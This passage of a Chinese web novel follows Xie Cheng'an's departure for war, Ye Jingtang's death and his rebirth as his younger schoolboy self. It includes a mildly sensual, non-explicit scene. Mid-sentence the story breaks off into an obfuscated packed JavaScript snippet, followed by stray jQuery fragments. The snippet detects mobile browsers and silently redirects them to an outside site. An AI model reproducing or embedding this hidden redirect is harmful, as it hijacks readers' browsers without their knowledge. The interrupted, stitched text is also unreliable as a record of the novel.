这夜,谢澄安从校场上回来了。
原本,丁燎说要大设酒宴为他们践行,谢澄安在酒宴上只饮了一点儿酒,就找借口推辞了。
大伙都知道他屋里藏了个美人,大战降至,大家本就追求个潇洒,没那么多规矩了,都笑的东倒西歪,让谢澄安回去了。
卸了刀给了林风,
林风接过说:“叶公子醒了有一会儿,正在书房。”
谢澄安原本紧绷的神色才有了缓和。
抬脚便进,林风帮忙关上门。
来到书房,谢澄安抬手掀帘,脚步轻缓的走在他背后。
叶惊棠坐在桌前,头也不抬地道:“回来了?”
谢澄安见他在作画,就站着没动,“嗯”一声说:“想我吗?”
叶惊棠没应,似是很专注。
谢澄安走过去,垂眸看一眼,又笑了:“画我?”
“是,”叶惊棠说:“策马杀敌的你,我在脑海里想过好几次,虽没亲眼见过,但却是辗转反侧。”
谢澄安心有所动,弯腰低头,含住了他的唇。
叶惊棠微阖眼眸。
剩下的几日,他只想遵循内心。
他的吻和上次都不同,缓慢却又不失爱意的亲吻。
亲的叶惊棠眉毛舒展,指尖不住抓着他的胸膛布料。
布料是上好的丝绸。
他却觉得抓不住。
等到叶惊棠逐渐喘不来气,他才放开,含着热对他笑:“惊棠,我好欢喜。”
谢澄安弯腰抱起他,低头含了耳垂,热气贯耳,叶惊棠受不住,偏了一下头。
谢澄安追着他去寻唇,又如点豆子一般亲吻脖颈,逐渐向下。
叶惊棠有些敏感,受不住从脖颈处传来的痒意,密密麻麻的。
如天鹅仰着脖颈,却又更方便他亲。
最后咬在了锁骨处。
叶惊棠手抵在他胸膛,推了推。
谢澄安就禁锢着他的手,抵在自己的胸膛。
叶惊棠受了束缚,没动了。
又抱着走出了书房,把他放在床榻上,低头压着亲了一会儿,手不停的隔着布料摸他的腰侧,叶惊棠总受不住,摆动腰肢去躲他的手。
殊不知这在谢澄安眼里,是勾引,是烧火的柴。
喉结滑动要去扯他的腰封。
这时候嘴里的味儿才弥漫开来。
一股苦药味儿。
谢澄安舔舔唇,这才降下火气,移开了手指,哑声道:“你身体不好,不闹你了,睡吧,我去洗个澡。”
叶惊棠伸手要抓,谢澄安却已经走远了。
走的这么快。
伸出床榻的手慢慢的又收了回来,盖好被子翻了身睡了过去。
等谢澄安回来,后背又被热气包裹着了。
这一夜过后,谢澄安就又有好几天没回来。
回来的那天却是战争前夜。
院子里点了好几盏红灯笼,照亮了四面八方。
叶惊棠和谢澄安坐在海棠花树下的秋千上。
海棠越落越少了。
叶惊棠的右手被谢澄安抓着慢慢揉,像是对待好玉一般的爱惜。
红线连并一起揉,泛起一阵痒意。
看天上的星月,不禁泛起了不舍的愁绪。
但将军死社稷,就得把自己的利益置身事外,包括情爱。
谢澄安靠在叶惊棠的肩上,手圈了一把腰,抬眸道:“你又瘦了。”
叶惊棠身上的苦药味,他却觉得是上好的迷香,怎么也闻不够。
叶惊棠心里明清,自己的身体一日不如一日。
今春过去,他的日子也该到头了。
谢澄安指腹摸索着他的手腕,道:“惊棠,如果忽然有一天你回到了过去,你会想做什么?”
叶惊棠不知他为什么会问这个。
却还是顺他话答:“至少不让我变成如今这般境地,我会干很多,比如在叶逍起谋反心之前,杀了他。”
谢澄安诧异一瞬。
又很快恢复原来那般温情,“嗯”了一声,说:“我保你。”
这句“我保你”不是玩笑话,叶惊棠垂眸看了他好久,谢澄安是那么的认真。
半晌他启唇道:“好。”
两人相依在一起,这个场景,画进画里,作进画本里,就是情意绵绵的佳话。
安庆四十三年,春。谢澄安挂帅出征,身后是乌泱泱的二十万铁骑,在头顶上是城门,城门之上是天子,天子携百官,为将士送行。
号角声震在耳边,响彻天地。
雨水打湿了马蹄,手中的长枪在灰蒙的天空中划出一道冷冽寒光。
腰侧挂着装有当归的荷包,那是今早叶惊棠给他的。
天还未亮之时,叶惊棠在府外叫住他,回首只见他被林风扶住,身上穿着一件鲜红的衣裳,春风又起,鬓发衣袍起,海棠花瓣尽数飘落,刹那之间,谢澄安都以为自己误入仙境。
他这才想起,叶惊棠不是常穿白衣的,只是家中败落之后穿白衣的次数多了起来而已。
这身红,让他想起旧时那个骄傲自信的叶惊棠。
让他想起那个处处都比他高一头的叶惊棠。
叶惊棠上前从袖口,给了他一个荷包,轻垫脚,在他耳边说:“念君将归。”
叶惊棠在谢澄安的怔神里退了一步说:“愿将军大捷。”
“愿将军平安。”
遽然,谢澄安环腰把人捞入怀中,不顾周围人的眼光,两人像夫妻离别一般紧密相拥着。
谢澄安心里很高兴,又很满足。
叶惊棠听到耳边带着哭腔的笑意,然后谢澄安又道:“听妻语。”
他抓不住谢澄安的铠甲,只抓住被竖起马尾的青丝,青丝被抓在手里勾住了手腕上的红线。
两人分开,那根勾住红线的青丝在这一刻断了。
谢澄安听着震天动地的战鼓与号角,望了一会儿天,才抖动缰绳,掉转马头,带着浩浩荡荡的将士,淋春雨上战场去。
殊不知这一去,两人将天各一方,今生不会再相见。
叶惊棠吐出一口血,吓得府上的人惨叫声声。
血液渗入红衣,变得愈加刺眼。
晋汇已经出府寻郎中了。
林风要开窗召白鸟,叶惊棠强撑着力气说:“别……别传……不要扰乱将军心神。”
林风颤着手,看了他好一会儿最终还是没把那一封信交出去。
白鸟发出凄婉的叫声,而后扇动两下翅膀掩入屋檐。
这个时候的叶惊棠已经快要日落西山。
叶惊棠没有多大力气说话了,旁边的侍女见他嘴唇一张一合,勾下头去听。
林风也看见了,走过去。
听到的是:“生当复来归,死当长相思……”
暴雨轰雷而下,风雨击碎了海棠,外面的红灯笼不再亮,更吹熄了屋里的蜡烛。
叶惊棠陷入了一片黑暗里,他什么都看不见什么都听不见了。
他在这片混沌之间,尝试摸索着向前,前方是无穷无尽的黑暗,但他却连正常人该有的恐慌都没有,继续向前迈步,双眼空洞,像个行尸走肉的傀儡。
忽然耳畔响起了一阵击钟之声。
钟声深远悠长,似是在告诉他向前的路。
他跟随着这阵余音,很快就看见了一道狭窄的光。
他歪了一下头,走近了些。
就在要踏进之时,他竟然忘了自己姓甚名谁,手上的红线也无故断了。
这条红线一头延伸进这光里。
他再走就听见一声声哀哭。
是谁在哭呢?
他进了这白光里,白光把他吞噬掉了,再睁不开眼睛。
等他睁开之时,已经在床榻上了。
“棠儿,棠儿……”
叶惊棠意识混沌,反应有些慢,就这么看着面前正拿手帕拭泪的妇人。
屋里也占满了好多人。
等到意识清晰他才哑声喊了声:“娘……”
又打量着周围定在一处,动动唇,说:“爹……”
他觉得自己做了很长的梦,梦醒了他什么都忘了,但他还是那个父母健在,家族兴盛的叶家公子,可是看见自己的爹娘,泪水却不受控制的滑落至脸颊。
胸腔一阵绞痛,喉间酸涩让他差点说不出话来。
叶老爷和叶夫人吓着了,便一时间忘了体面,紧紧把自己的孩子拥入怀中。
叶夫人轻轻揉着他的头发,哽咽道:“这冰天雪地的怎么还掉入水中?”
“还发生在学堂内,一定是有人要加害我儿啊……”
“惊棠别怕,”叶老爷说:“已经叫人去查了。”
叶惊棠却摇头说:“这件事,我有法子,爹娘,让人别查了吧。”
叶夫人和叶老爷都愣了愣,都明白的,于是叹了口气。
可是这件事,终究是卡在为人父母的心头,咽不下上不来。
这时,丫鬟绿叶上前说:“老爷,夫人。”
叶夫人松开叶惊棠,坐在床边喂自己儿子喝药,听见丫鬟来,颌首允诺。
绿叶递过来一封信,叶老爷接了,是一封家信。
叶夫人斜看一眼,说:“叶逍的?”
“是,”叶老爷念道:“逍儿已经入朝为官了,让我们别担心。”
叶夫人拿起帕子轻柔得为叶惊棠擦拭嘴角,冷讽道:“那还真是稀奇。”
叶逍就是叶氏的大少爷,自从考取功名后除了没银子回一趟府里,已有将近一年没有消息。
叶夫人因为这事,一直不大喜欢这个长子。
叶老爷叹了口气,驱散下人,道:“说到底,也是我们的骨肉。”
叶夫人搁了碗说:“他把我们当邪物,避之不及。”
叶惊棠含着果脯,嘴边隆起一鼓。
果脯有些硬,嚼了半晌才咽下道:“言外之意,就是缺钱了。”
嘴中不再酸涩,心头的疼痛也缓过来许多。
叶夫人嘴角扯出一抹冷笑,“也就你爹是傻得糊涂。”
“哎,”叶老爷拢好斗篷,推开门出去对下人说:“拿点银两,送去宫里给大少爷。”
叶夫人不为所动,摸着叶惊棠的头说:“要是娘只有你一个孩子该多好呢。”
叶惊棠浅笑一声,垂眸看着空无一物的右手手腕。
“你现在也醒了,等身体好些就要去学堂了。”叶夫人含泪看他。
“让你身边带个人你也不肯,如今出了这样的事,你叫你娘怎么放心呢。”
叶惊棠看着他娘,说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977811|161429||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“身边带个人别人会对我疏远,那些有官职作爹的同寮都没这么大排场,再说,博士是最不喜这些的。”
叶夫人松眉道:“好吧,是娘糊涂。”
叶惊棠说:“娘不糊涂。”
晚膳之时,叶惊棠已经能下床了。
他穿着红裳,披着白色厚实的狐裘,手中捧着精致的手炉,走进了雪中,白雪漫天,他黑发如墨,红色衣摆艳艳,就连那一张如玉的脸都冻得有点泛粉,嘴唇紧抿。
家丁举着油纸伞为他挡雪。
到了门口,叶惊棠脱了狐裘,和手上的手炉给了家丁。
屋里烧着地龙,暖烘烘的,与外面的冰天雪地隔绝。
对父母行了一礼,落了坐。
叶惊棠是个有礼仪的温润君子,前面再是家人他也得遵守礼法。
叶老爷最是看不惯他这点,觉得太顽固不懂变通。
但是叶夫人却是欢喜,觉得他和那个叶逍不一样。
叶逍是叶老爷悉心教导的,在叶惊棠未出生之时,叶老爷让叶夫人在婚后只管享乐。教子这件事,都教与他一人便好。
结果却教成了不懂礼数,没有孝心,没有品德空有学术那一类人。
叶夫人再追悔莫及已然晚了。
到叶惊棠的时候,叶夫人教他诗书礼仪,阅天下万卷,才成就了现在这种温润模样。
叶惊棠拦住丫鬟手中的酒壶,自己拿过亲自为爹娘倒满青瓷酒盏,自己饮了一杯,入肚后含笑赔罪道:“让爹娘久等,孩儿赔罪自罚。”
叶老爷却拍拍叶惊棠的手背,道:“一家人,哪儿有那么多规矩。”
叶夫人夹起一块挑好刺的鱼肉放在叶惊棠的碗中,反驳他:“难道要像叶逍一样,无孝无德,不懂感恩?”
叶老爷无话可说,收回了手。
叶夫人平下心来又道:“宠爱孩子没问题,但过度宠爱有些事情不加以管教是会出现问题的。”
“等着吧,”叶夫人挑着刺:“过段时间后还会弯弯绕绕的找你要钱。”
食不言寝不语,叶惊棠端正坐着,没有动筷,他说:“爹,娘,明日我就要回学堂了。”
叶夫人顿住,说:“棠儿,不再休息一日?”
叶惊棠摇摇头,弯眉道:“惊棠无事了,而且过几天就是旬考,耽误不得。”
叶老爷点了头:“既是棠儿的想法,那爹就没什么意见。”
叶夫人瞭了他一眼,又收回视线,也应了。
饭足酒饱之后,叶惊棠被母亲邀去消食。
母子两人散步走在长廊,看着雪景,闻着院中的梅花香。
“听说,当今战神的孩子就在你们学堂内?”叶夫人拢着斗篷,说道。
叶惊棠想了一下说:“是,叫谢澄安。”
“谢澄安……”叶夫人默念着,这才想起来了,看着叶惊棠说:“这可是未来能继承他父亲当将军的料子。”
“谢小侯爷?”叶惊棠想起他的种种,不禁有些疑惑。
叶夫人看着落雪,似在回忆,“早年,谢家还未封侯,边疆战乱起,谢澄安的父亲谢觉率领三万骑兵杀上战场,敌军比羽军多出几倍,战势又复杂。谢觉决定使用战略,在一座地形复杂丛林茂密的高山上设下埋伏,敌人被引到山下后,作战首领桑跋疑心重,且狡猾狠辣,猜到山上有埋伏,便没让军队踩进红线,反而命人放火烧山,就在胜败快要清晰时,年仅十四岁的谢澄安偷跟着父亲军队来到战场,并提出要以火攻火的战策,而后跟随父亲上场杀敌,他出剑虽无章法,但却惯爱使流氓招数。”
“后来,谢觉也顺理成章加官晋爵,成了安定侯,从此在官场有了一席之地。他向来对自己的儿子颇有微词,如今也对自己的儿子刮目相看,本是贪玩的年纪,却这么有勇有谋。”
“你说,他是不是当将军的料子?”
叶惊棠对战事兴趣不大,却也听说过一二,如今母亲详细一说,他心中也对这个痞子改观。
觉得他是个有血性的。
叶惊棠点头,觉得母亲说得不错。
“谢家如今可是风光无限啊。”叶夫人哈出热气。
叶惊棠说:“当京圣上不久前娶了安定侯的妹妹,这地位含金量还要更高些。”
“所以,”叶夫人站定,把叶惊棠吹乱的一缕鬓发别在耳后说:“你在书院之内不要再像之前那样跟他争锋相对,那些同僚为着利益肯定是帮他也不帮你,尽管你说得再理呢。”
“他再招惹,你便礼貌回绝便好,用不着上纲上线。”
叶惊棠温润道:“母亲教训的是。”
第二日,穿好蓝白色襕衫,以简朴的发带扎发,抱起一沓书就要出门去。
丫鬟过来奉上取暖物件。
叶惊棠便披着狐裘撑着油纸伞,脚下踩着积雪上学去。
东篱书院内博士让人先背诵,在屏风后摆放了一张案牍,踞坐着,校正文章。
叶惊棠抖落油纸伞上的雪,收了伞,后提着袍落了坐。
正摆开一本书看。
“澄安,澄安。”陈月叫着正靠窗仰睡的人。
谢澄安被叫醒,拿下盖在脸上的《诗经》露出困倦的眉眼来。
陈月抬手指了指前面方向,一脸不正经的表情:“叶惊棠来了,这下子我们该怎么玩儿?”